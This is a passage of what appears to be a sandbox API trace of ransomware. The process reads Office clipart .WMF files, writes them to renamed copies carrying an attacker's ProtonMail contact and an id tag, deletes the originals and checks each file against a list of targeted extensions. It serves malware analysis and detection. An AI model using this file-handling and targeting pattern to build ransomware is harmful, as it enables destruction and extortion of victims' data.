	[0206.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220
	[0206.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.980] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.980] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0206.981] GetLastError () returned 0x0
	[0206.981] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x2332, lpOverlapped=0x0) returned 1
	[0206.982] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x2340, lpOverlapped=0x0) returned 1
	[0206.984] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.984] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.984] SetEndOfFile (hFile=0x378) returned 1
	[0206.984] CloseHandle (hObject=0x378) returned 1
	[0206.984] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.984] SetEndOfFile (hFile=0x374) returned 1
	[0206.985] CloseHandle (hObject=0x374) returned 1
	[0206.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0206.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.986] lstrlenW (lpString=".doc") returned 4
	[0206.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.986] lstrlenW (lpString=".docx") returned 5
	[0206.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.986] lstrlenW (lpString=".pdf") returned 4
	[0206.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.986] lstrlenW (lpString=".xls") returned 4
	[0206.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.986] lstrlenW (lpString=".xlsx") returned 5
	[0206.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.986] lstrlenW (lpString=".ppt") returned 4
	[0206.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.986] lstrlenW (lpString=".zip") returned 4
	[0206.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.986] lstrlenW (lpString=".rar") returned 4
	[0206.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.986] lstrlenW (lpString=".bz2") returned 4
	[0206.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString=".7z") returned 3
	[0206.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString=".dbf") returned 4
	[0206.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString=".1cd") returned 4
	[0206.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString=".jpg") returned 4
	[0206.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString=".doc") returned 4
	[0206.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString=".docx") returned 5
	[0206.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.987] lstrlenW (lpString=".pdf") returned 4
	[0206.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString=".xls") returned 4
	[0206.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.987] lstrlenW (lpString=".xlsx") returned 5
	[0206.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.987] lstrlenW (lpString=".ppt") returned 4
	[0206.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.987] lstrlenW (lpString=".zip") returned 4
	[0206.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.987] lstrlenW (lpString=".rar") returned 4
	[0206.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.987] lstrlenW (lpString=".bz2") returned 4
	[0206.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.988] lstrlenW (lpString=".7z") returned 3
	[0206.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.988] lstrlenW (lpString=".dbf") returned 4
	[0206.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.988] lstrlenW (lpString=".1cd") returned 4
	[0206.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0206.988] lstrlenW (lpString=".jpg") returned 4
	[0206.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.988] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.988] lstrlenW (lpString="FD00799_.WMF") returned 12
	[0206.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.988] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=13968) returned 1
	[0206.988] CloseHandle (hObject=0x374) returned 1
	[0206.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220
	[0206.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.989] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.989] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0206.990] GetLastError () returned 0x0
	[0206.990] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x3690, lpOverlapped=0x0) returned 1
	[0206.991] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x36a0, lpOverlapped=0x0) returned 1
	[0206.992] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.992] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.992] SetEndOfFile (hFile=0x378) returned 1
	[0206.992] CloseHandle (hObject=0x378) returned 1
	[0206.993] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.993] SetEndOfFile (hFile=0x374) returned 1
	[0206.993] CloseHandle (hObject=0x374) returned 1
	[0206.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0206.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.994] lstrlenW (lpString=".doc") returned 4
	[0206.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.994] lstrlenW (lpString=".docx") returned 5
	[0206.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.994] lstrlenW (lpString=".pdf") returned 4
	[0206.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.994] lstrlenW (lpString=".xls") returned 4
	[0206.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.995] lstrlenW (lpString=".xlsx") returned 5
	[0206.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.995] lstrlenW (lpString=".ppt") returned 4
	[0206.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString=".zip") returned 4
	[0206.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.995] lstrlenW (lpString=".rar") returned 4
	[0206.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString=".bz2") returned 4
	[0206.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString=".7z") returned 3
	[0206.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString=".dbf") returned 4
	[0206.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString=".1cd") returned 4
	[0206.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString=".jpg") returned 4
	[0206.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.995] lstrlenW (lpString=".doc") returned 4
	[0206.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.995] lstrlenW (lpString=".docx") returned 5
	[0206.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.996] lstrlenW (lpString=".pdf") returned 4
	[0206.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString=".xls") returned 4
	[0206.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.996] lstrlenW (lpString=".xlsx") returned 5
	[0206.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.996] lstrlenW (lpString=".ppt") returned 4
	[0206.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.996] lstrlenW (lpString=".zip") returned 4
	[0206.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.996] lstrlenW (lpString=".rar") returned 4
	[0206.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString=".bz2") returned 4
	[0206.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString=".7z") returned 3
	[0206.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.996] lstrlenW (lpString=".dbf") returned 4
	[0206.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.996] lstrlenW (lpString=".1cd") returned 4
	[0206.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0206.996] lstrlenW (lpString=".jpg") returned 4
	[0206.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.996] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.996] lstrlenW (lpString="FD00814_.WMF") returned 12
	[0206.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.997] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=42704) returned 1
	[0206.997] CloseHandle (hObject=0x374) returned 1
	[0206.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220
	[0206.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.997] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.998] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0206.998] GetLastError () returned 0x0
	[0206.998] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0xa6d0, lpOverlapped=0x0) returned 1
	[0207.000] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xa6e0, lpOverlapped=0x0) returned 1
	[0207.002] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.002] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.002] SetEndOfFile (hFile=0x378) returned 1
	[0207.002] CloseHandle (hObject=0x378) returned 1
	[0207.002] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.002] SetEndOfFile (hFile=0x374) returned 1
	[0207.003] CloseHandle (hObject=0x374) returned 1
	[0207.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
	[0207.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.004] lstrlenW (lpString=".doc") returned 4
	[0207.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.004] lstrlenW (lpString=".docx") returned 5
	[0207.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.005] lstrlenW (lpString=".pdf") returned 4
	[0207.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString=".xls") returned 4
	[0207.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.005] lstrlenW (lpString=".xlsx") returned 5
	[0207.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.005] lstrlenW (lpString=".ppt") returned 4
	[0207.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString=".zip") returned 4
	[0207.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.005] lstrlenW (lpString=".rar") returned 4
	[0207.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString=".bz2") returned 4
	[0207.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString=".7z") returned 3
	[0207.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString=".dbf") returned 4
	[0207.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString=".1cd") returned 4
	[0207.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString=".jpg") returned 4
	[0207.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.005] lstrlenW (lpString=".doc") returned 4
	[0207.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.005] lstrlenW (lpString=".docx") returned 5
	[0207.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.006] lstrlenW (lpString=".pdf") returned 4
	[0207.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString=".xls") returned 4
	[0207.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.006] lstrlenW (lpString=".xlsx") returned 5
	[0207.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.006] lstrlenW (lpString=".ppt") returned 4
	[0207.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.006] lstrlenW (lpString=".zip") returned 4
	[0207.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.006] lstrlenW (lpString=".rar") returned 4
	[0207.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString=".bz2") returned 4
	[0207.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString=".7z") returned 3
	[0207.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.006] lstrlenW (lpString=".dbf") returned 4
	[0207.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.006] lstrlenW (lpString=".1cd") returned 4
	[0207.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0207.006] lstrlenW (lpString=".jpg") returned 4
	[0207.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.006] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.006] lstrlenW (lpString="FD00965_.WMF") returned 12
	[0207.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.007] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=15164) returned 1
	[0207.007] CloseHandle (hObject=0x374) returned 1
